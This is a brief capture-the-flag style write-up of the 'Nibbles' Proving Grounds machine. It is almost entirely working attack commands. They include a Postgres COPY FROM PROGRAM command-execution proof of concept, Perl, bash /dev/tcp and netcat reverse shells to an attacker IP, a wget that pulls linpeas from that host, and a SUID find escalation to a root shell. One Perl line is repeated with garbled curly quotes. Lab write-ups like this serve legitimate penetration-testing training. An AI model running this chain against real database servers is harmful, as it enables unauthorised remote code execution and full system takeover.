> For the complete documentation index, see [llms.txt](https://docs.whitehat.nyc/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.whitehat.nyc/oscp-proving-grounds/nibbles.md).

# Nibbles

Postgres was using default creds

We can try this POC:

\#PoC

DROP TABLE IF EXISTS cmd\_exec;

CREATE TABLE cmd\_exec(cmd\_output text);

COPY cmd\_exec FROM PROGRAM 'id';

SELECT \* FROM cmd\_exec;

DROP TABLE IF EXISTS cmd\_exec;

\#Reverse shell

\#Notice that in order to scape a single quote you need to put 2 single quotes

COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.49.115:4444");STDIN->fdopen($c,r);$\~->fdopen($c,w);system$\_ while<>;''';

bash -i >& /dev/tcp/192.168.49.115/4242 0>&1

/bin/sh -i 2>&1|nc 192.168.49.115 4444

COPY files FROM PROGRAM ‘perl -MIO -e ‘’$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”192.168.49.115:4444");STDIN->fdopen($c,r);$\~->fdopen($c,w);system$\_ while<>;’’’;

Postgres Reverse Shell <https://github.com/squid22/PostgreSQL_RCE/blob/main/postgresql_rce.py>

wget [http://192.168.49.115:5000/linpeas.sh](http://192.168.49.115/linpeas.sh) -o linpeas.sh --tries 1

after running linpeas i found that SUID is enabled for find

<https://gtfobins.github.io/gtfobins/find/>

`./find . -exec /bin/sh - \; -quit`

./find . -exec /bin/sh -p \\; -quit